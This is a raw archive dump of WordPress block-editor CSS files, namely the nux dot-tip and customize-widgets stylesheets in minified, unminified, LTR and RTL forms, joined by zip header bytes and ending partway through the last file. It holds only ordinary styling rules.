dist/nux/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.nux-dot-tip:after,.nux-dot-tip:before{border-radius:100%;content:" ";pointer-events:none;position:absolute}.nux-dot-tip:before{background:#00739ce6;height:24px;opacity:.9;right:-12px;top:-12px;transform:scale(.3333333333);width:24px}@media not (prefers-reduced-motion){.nux-dot-tip:before{animation:nux-pulse 1.6s cubic-bezier(.17,.67,.92,.62) infinite}}.nux-dot-tip:after{background:#00739c;height:8px;right:-4px;top:-4px;width:8px}@keyframes nux-pulse{to{background:#00739c00;transform:scale(1)}}.nux-dot-tip .components-popover__content{padding:20px 18px;width:350px}@media (min-width:600px){.nux-dot-tip .components-popover__content{width:450px}}.nux-dot-tip .components-popover__content .nux-dot-tip__disable{left:0;position:absolute;top:0}.nux-dot-tip[data-y-axis=top]{margin-top:-4px}.nux-dot-tip[data-y-axis=bottom]{margin-top:4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left]{margin-right:-4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right]{margin-right:4px}.nux-dot-tip[data-y-axis=top] .components-popover__content{margin-bottom:20px}.nux-dot-tip[data-y-axis=bottom] .components-popover__content{margin-top:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content{margin-left:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content{margin-right:20px}.nux-dot-tip[data-y-axis=center],.nux-dot-tip[data-y-axis=left],.nux-dot-tip[data-y-axis=right]{z-index:1000001}@media (max-width:600px){.nux-dot-tip[data-y-axis=center] .components-popover__content,.nux-dot-tip[data-y-axis=left] .components-popover__content,.nux-dot-tip[data-y-axis=right] .components-popover__content{align-self:end;left:5px;margin:20px 0 0;max-width:none!important;position:fixed;right:5px;width:auto}}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{margin-left:0}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{margin-right:0}.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{margin-left:-12px}.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{margin-right:-12px}PK1Xd[�?\�44dist/nux/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.nux-dot-tip:after,.nux-dot-tip:before{border-radius:100%;content:" ";pointer-events:none;position:absolute}.nux-dot-tip:before{background:#00739ce6;height:24px;left:-12px;opacity:.9;top:-12px;transform:scale(.3333333333);width:24px}@media not (prefers-reduced-motion){.nux-dot-tip:before{animation:nux-pulse 1.6s cubic-bezier(.17,.67,.92,.62) infinite}}.nux-dot-tip:after{background:#00739c;height:8px;left:-4px;top:-4px;width:8px}@keyframes nux-pulse{to{background:#00739c00;transform:scale(1)}}.nux-dot-tip .components-popover__content{padding:20px 18px;width:350px}@media (min-width:600px){.nux-dot-tip .components-popover__content{width:450px}}.nux-dot-tip .components-popover__content .nux-dot-tip__disable{position:absolute;right:0;top:0}.nux-dot-tip[data-y-axis=top]{margin-top:-4px}.nux-dot-tip[data-y-axis=bottom]{margin-top:4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left]{margin-left:-4px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right]{margin-left:4px}.nux-dot-tip[data-y-axis=top] .components-popover__content{margin-bottom:20px}.nux-dot-tip[data-y-axis=bottom] .components-popover__content{margin-top:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content{margin-right:20px}.nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content{margin-left:20px}.nux-dot-tip[data-y-axis=center],.nux-dot-tip[data-y-axis=left],.nux-dot-tip[data-y-axis=right]{z-index:1000001}@media (max-width:600px){.nux-dot-tip[data-y-axis=center] .components-popover__content,.nux-dot-tip[data-y-axis=left] .components-popover__content,.nux-dot-tip[data-y-axis=right] .components-popover__content{align-self:end;left:5px;margin:20px 0 0;max-width:none!important;position:fixed;right:5px;width:auto}}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  /*!rtl:ignore*/margin-left:0}.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  /*!rtl:ignore*/margin-right:0}.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  /*!rtl:ignore*/margin-left:-12px}.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  /*!rtl:ignore*/margin-right:-12px}PK1Xd[�=�@!!dist/nux/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.nux-dot-tip:after,.nux-dot-tip:before{
  border-radius:100%;
  content:" ";
  pointer-events:none;
  position:absolute;
}
.nux-dot-tip:before{
  background:#00739ce6;
  height:24px;
  opacity:.9;
  right:-12px;
  top:-12px;
  transform:scale(.3333333333);
  width:24px;
}
@media not (prefers-reduced-motion){
  .nux-dot-tip:before{
    animation:nux-pulse 1.6s cubic-bezier(.17, .67, .92, .62) infinite;
  }
}
.nux-dot-tip:after{
  background:#00739c;
  height:8px;
  right:-4px;
  top:-4px;
  width:8px;
}
@keyframes nux-pulse{
  to{
    background:#00739c00;
    transform:scale(1);
  }
}
.nux-dot-tip .components-popover__content{
  padding:20px 18px;
  width:350px;
}
@media (min-width:600px){
  .nux-dot-tip .components-popover__content{
    width:450px;
  }
}
.nux-dot-tip .components-popover__content .nux-dot-tip__disable{
  left:0;
  position:absolute;
  top:0;
}
.nux-dot-tip[data-y-axis=top]{
  margin-top:-4px;
}
.nux-dot-tip[data-y-axis=bottom]{
  margin-top:4px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=left]{
  margin-right:-4px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=right]{
  margin-right:4px;
}
.nux-dot-tip[data-y-axis=top] .components-popover__content{
  margin-bottom:20px;
}
.nux-dot-tip[data-y-axis=bottom] .components-popover__content{
  margin-top:20px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content{
  margin-left:20px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content{
  margin-right:20px;
}
.nux-dot-tip[data-y-axis=center],.nux-dot-tip[data-y-axis=left],.nux-dot-tip[data-y-axis=right]{
  z-index:1000001;
}
@media (max-width:600px){
  .nux-dot-tip[data-y-axis=center] .components-popover__content,.nux-dot-tip[data-y-axis=left] .components-popover__content,.nux-dot-tip[data-y-axis=right] .components-popover__content{
    align-self:end;
    left:5px;
    margin:20px 0 0;
    max-width:none !important;
    position:fixed;
    right:5px;
    width:auto;
  }
}
.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  margin-left:0;
}
.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  margin-right:0;
}
.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  margin-left:-12px;
}
.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  margin-right:-12px;
}PK1Xd[��fdist/nux/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.nux-dot-tip:after,.nux-dot-tip:before{
  border-radius:100%;
  content:" ";
  pointer-events:none;
  position:absolute;
}
.nux-dot-tip:before{
  background:#00739ce6;
  height:24px;
  left:-12px;
  opacity:.9;
  top:-12px;
  transform:scale(.3333333333);
  width:24px;
}
@media not (prefers-reduced-motion){
  .nux-dot-tip:before{
    animation:nux-pulse 1.6s cubic-bezier(.17, .67, .92, .62) infinite;
  }
}
.nux-dot-tip:after{
  background:#00739c;
  height:8px;
  left:-4px;
  top:-4px;
  width:8px;
}
@keyframes nux-pulse{
  to{
    background:#00739c00;
    transform:scale(1);
  }
}
.nux-dot-tip .components-popover__content{
  padding:20px 18px;
  width:350px;
}
@media (min-width:600px){
  .nux-dot-tip .components-popover__content{
    width:450px;
  }
}
.nux-dot-tip .components-popover__content .nux-dot-tip__disable{
  position:absolute;
  right:0;
  top:0;
}
.nux-dot-tip[data-y-axis=top]{
  margin-top:-4px;
}
.nux-dot-tip[data-y-axis=bottom]{
  margin-top:4px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=left]{
  margin-left:-4px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=right]{
  margin-left:4px;
}
.nux-dot-tip[data-y-axis=top] .components-popover__content{
  margin-bottom:20px;
}
.nux-dot-tip[data-y-axis=bottom] .components-popover__content{
  margin-top:20px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=left] .components-popover__content{
  margin-right:20px;
}
.nux-dot-tip[data-y-axis=middle][data-y-axis=right] .components-popover__content{
  margin-left:20px;
}
.nux-dot-tip[data-y-axis=center],.nux-dot-tip[data-y-axis=left],.nux-dot-tip[data-y-axis=right]{
  z-index:1000001;
}
@media (max-width:600px){
  .nux-dot-tip[data-y-axis=center] .components-popover__content,.nux-dot-tip[data-y-axis=left] .components-popover__content,.nux-dot-tip[data-y-axis=right] .components-popover__content{
    align-self:end;
    left:5px;
    margin:20px 0 0;
    max-width:none !important;
    position:fixed;
    right:5px;
    width:auto;
  }
}
.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  margin-left:0;
}
.nux-dot-tip.components-popover:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  margin-right:0;
}
.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=right] .components-popover__content{
  margin-left:-12px;
}
.nux-dot-tip.components-popover.interface-more-menu-dropdown__content:not([data-y-axis=middle])[data-y-axis=left] .components-popover__content{
  margin-right:-12px;
}PK1Xd[�;���(dist/customize-widgets/style-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{background:#fff;box-sizing:border-box}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{box-sizing:inherit}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{margin:-12px}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{margin-bottom:0}#customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{transform:translateX(100%)}.customize-widgets-header{background:#f0f0f1;border-bottom:1px solid #e0e0e0;display:flex;justify-content:flex-end;margin:-15px -12px 0;z-index:8}@media (min-width:600px){.customize-widgets-header{margin-bottom:44px}}.customize-widgets-header.is-fixed-toolbar-active{margin-bottom:0}.customize-widgets-header-toolbar{align-items:center;border:none;display:flex;width:100%}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{border-radius:2px;color:#fff;height:32px;margin:12px auto 12px 0;min-width:32px;padding:0}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{content:none}@media not (prefers-reduced-motion){.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{background:#1e1e1e}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed svg{transform:rotate(-45deg)}.customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{margin-right:-12px}#customize-sidebar-outer-content{min-width:100%;width:auto}#customize-outer-theme-controls .widgets-inserter{padding:0}#customize-outer-theme-controls .widgets-inserter .customize-section-description-container{display:none}.customize-widgets-layout__inserter-panel{background:#fff}.customize-widgets-layout__inserter-panel-header{align-items:center;border-bottom:1px solid #ddd;box-sizing:border-box;display:flex;height:46px;justify-content:space-between;padding:16px}.customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{margin:0}.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{background:#fff}.customize-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.customize-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.customize-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.customize-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 1rem 0 0;text-align:left}.customize-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;margin:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 .2rem 0 0}.components-popover.more-menu-dropdown__content{z-index:99998}.customize-control-sidebar_block_editor .block-editor-block-list__block-popover{position:fixed!important;z-index:7}.customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{position:fixed!important}.customize-widgets-welcome-guide__image__wrapper{background:#00a0d2;margin-bottom:8px;text-align:center}.customize-widgets-welcome-guide__image{height:auto}.wrap .customize-widgets-welcome-guide__heading{font-size:18px;font-weight:600}.customize-widgets-welcome-guide__text{line-height:1.7}.customize-widgets-welcome-guide__button{justify-content:center;margin:1em 0;width:100%}.customize-widgets-welcome-guide__separator{margin:1em 0}.customize-widgets-welcome-guide__more-info{line-height:1.4}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{background-color:#fff;min-height:100%;padding-top:12px!important}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{overflow:unset}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{margin-top:-12px!important;position:static!important;width:unset!important}.components-modal__screen-overlay{z-index:999999}.customize-control-sidebar_block_editor,.customize-widgets-layout__inspector{box-sizing:border-box}.customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before{box-sizing:inherit}PK1Xd[����$dist/customize-widgets/style.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{background:#fff;box-sizing:border-box}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{box-sizing:inherit}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{margin:-12px}#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{margin-bottom:0}#customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{transform:translateX(-100%)}.customize-widgets-header{background:#f0f0f1;border-bottom:1px solid #e0e0e0;display:flex;justify-content:flex-end;margin:-15px -12px 0;z-index:8}@media (min-width:600px){.customize-widgets-header{margin-bottom:44px}}.customize-widgets-header.is-fixed-toolbar-active{margin-bottom:0}.customize-widgets-header-toolbar{align-items:center;border:none;display:flex;width:100%}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{border-radius:2px;color:#fff;height:32px;margin:12px 0 12px auto;min-width:32px;padding:0}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{content:none}@media not (prefers-reduced-motion){.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon svg{transition:transform .2s cubic-bezier(.165,.84,.44,1)}}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{background:#1e1e1e}.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed svg{transform:rotate(45deg)}.customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{margin-left:-12px}#customize-sidebar-outer-content{min-width:100%;width:auto}#customize-outer-theme-controls .widgets-inserter{padding:0}#customize-outer-theme-controls .widgets-inserter .customize-section-description-container{display:none}.customize-widgets-layout__inserter-panel{background:#fff}.customize-widgets-layout__inserter-panel-header{align-items:center;border-bottom:1px solid #ddd;box-sizing:border-box;display:flex;height:46px;justify-content:space-between;padding:16px}.customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{margin:0}.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{background:#fff}.customize-widgets-keyboard-shortcut-help-modal__section{margin:0 0 2rem}.customize-widgets-keyboard-shortcut-help-modal__section-title{font-size:.9rem;font-weight:600}.customize-widgets-keyboard-shortcut-help-modal__shortcut{align-items:baseline;border-top:1px solid #ddd;display:flex;margin-bottom:0;padding:.6rem 0}.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{border-bottom:1px solid #ddd}.customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{display:none}.customize-widgets-keyboard-shortcut-help-modal__shortcut-term{font-weight:600;margin:0 0 0 1rem;text-align:right}.customize-widgets-keyboard-shortcut-help-modal__shortcut-description{flex:1;margin:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{background:none;display:block;margin:0;padding:0}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{margin-top:10px}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key{border-radius:8%;margin:0 .2rem;padding:.25rem .5rem}.customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{margin:0 0 0 .2rem}.components-popover.more-menu-dropdown__content{z-index:99998}.customize-control-sidebar_block_editor .block-editor-block-list__block-popover{position:fixed!important;z-index:7}.customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{position:fixed!important}.customize-widgets-welcome-guide__image__wrapper{background:#00a0d2;margin-bottom:8px;text-align:center}.customize-widgets-welcome-guide__image{height:auto}.wrap .customize-widgets-welcome-guide__heading{font-size:18px;font-weight:600}.customize-widgets-welcome-guide__text{line-height:1.7}.customize-widgets-welcome-guide__button{justify-content:center;margin:1em 0;width:100%}.customize-widgets-welcome-guide__separator{margin:1em 0}.customize-widgets-welcome-guide__more-info{line-height:1.4}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{background-color:#fff;min-height:100%;padding-top:12px!important}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{overflow:unset}#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{margin-top:-12px!important;position:static!important;width:unset!important}.components-modal__screen-overlay{z-index:999999}.customize-control-sidebar_block_editor,.customize-widgets-layout__inspector{box-sizing:border-box}.customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before{box-sizing:inherit}PK1Xd[���d��$dist/customize-widgets/style-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{
  background:#fff;
  box-sizing:border-box;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{
  box-sizing:inherit;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{
  margin:-12px;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{
  margin-bottom:0;
}

#customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{
  transform:translateX(100%);
}

.customize-widgets-header{
  background:#f0f0f1;
  border-bottom:1px solid #e0e0e0;
  display:flex;
  justify-content:flex-end;
  margin:-15px -12px 0;
  z-index:8;
}
@media (min-width:600px){
  .customize-widgets-header{
    margin-bottom:44px;
  }
}
.customize-widgets-header.is-fixed-toolbar-active{
  margin-bottom:0;
}

.customize-widgets-header-toolbar{
  align-items:center;
  border:none;
  display:flex;
  width:100%;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon{
  border-radius:2px;
  color:#fff;
  height:32px;
  margin:12px auto 12px 0;
  min-width:32px;
  padding:0;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon:before{
  content:none;
}
@media not (prefers-reduced-motion){
  .customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon svg{
    transition:transform .2s cubic-bezier(.165, .84, .44, 1);
  }
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed{
  background:#1e1e1e;
}
.customize-widgets-header-toolbar .customize-widgets-header-toolbar__inserter-toggle.components-button.has-icon.is-pressed svg{
  transform:rotate(-45deg);
}
.customize-widgets-header-toolbar .components-button.has-icon.customize-widgets-editor-history-button.redo-button{
  margin-right:-12px;
}

#customize-sidebar-outer-content{
  min-width:100%;
  width:auto;
}

#customize-outer-theme-controls .widgets-inserter{
  padding:0;
}
#customize-outer-theme-controls .widgets-inserter .customize-section-description-container{
  display:none;
}

.customize-widgets-layout__inserter-panel{
  background:#fff;
}

.customize-widgets-layout__inserter-panel-header{
  align-items:center;
  border-bottom:1px solid #ddd;
  box-sizing:border-box;
  display:flex;
  height:46px;
  justify-content:space-between;
  padding:16px;
}
.customize-widgets-layout__inserter-panel-header .customize-widgets-layout__inserter-panel-header-title{
  margin:0;
}

.block-editor-inserter__quick-inserter .block-editor-inserter__panel-content{
  background:#fff;
}

.customize-widgets-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.customize-widgets-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 1rem 0 0;
  text-align:left;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  margin:0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination+.customize-widgets-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.customize-widgets-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 .2rem 0 0;
}

.components-popover.more-menu-dropdown__content{
  z-index:99998;
}

.customize-control-sidebar_block_editor .block-editor-block-list__block-popover{
  position:fixed !important;
  z-index:7;
}

.customize-control-sidebar_block_editor .components-popover,.customize-widgets-popover .components-popover{
  position:fixed !important;
}

.customize-widgets-welcome-guide__image__wrapper{
  background:#00a0d2;
  margin-bottom:8px;
  text-align:center;
}
.customize-widgets-welcome-guide__image{
  height:auto;
}
.wrap .customize-widgets-welcome-guide__heading{
  font-size:18px;
  font-weight:600;
}
.customize-widgets-welcome-guide__text{
  line-height:1.7;
}
.customize-widgets-welcome-guide__button{
  justify-content:center;
  margin:1em 0;
  width:100%;
}
.customize-widgets-welcome-guide__separator{
  margin:1em 0;
}
.customize-widgets-welcome-guide__more-info{
  line-height:1.4;
}

#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section{
  background-color:#fff;
  min-height:100%;
  padding-top:12px !important;
}
#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section.open{
  overflow:unset;
}
#customize-theme-controls .customize-pane-child.customize-widgets__sidebar-section .customize-section-title{
  margin-top:-12px !important;
  position:static !important;
  width:unset !important;
}

.components-modal__screen-overlay{
  z-index:999999;
}

.customize-control-sidebar_block_editor,.customize-widgets-layout__inspector{
  box-sizing:border-box;
}
.customize-control-sidebar_block_editor *,.customize-control-sidebar_block_editor :after,.customize-control-sidebar_block_editor :before,.customize-widgets-layout__inspector *,.customize-widgets-layout__inspector :after,.customize-widgets-layout__inspector :before{
  box-sizing:inherit;
}PK1Xd[hT�ѹ� dist/customize-widgets/style.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector{
  background:#fff;
  box-sizing:border-box;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector *{
  box-sizing:inherit;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector{
  margin:-12px;
}
#customize-theme-controls .customize-pane-child.accordion-section-content.customize-widgets-layout__inspector .block-editor-block-inspector h3{
  margin-bottom:0;
}

#customize-theme-controls .customize-pane-child.control-section-sidebar.is-sub-section-open{
  transform:translateX(-100%);
}

.customize-widgets-header{
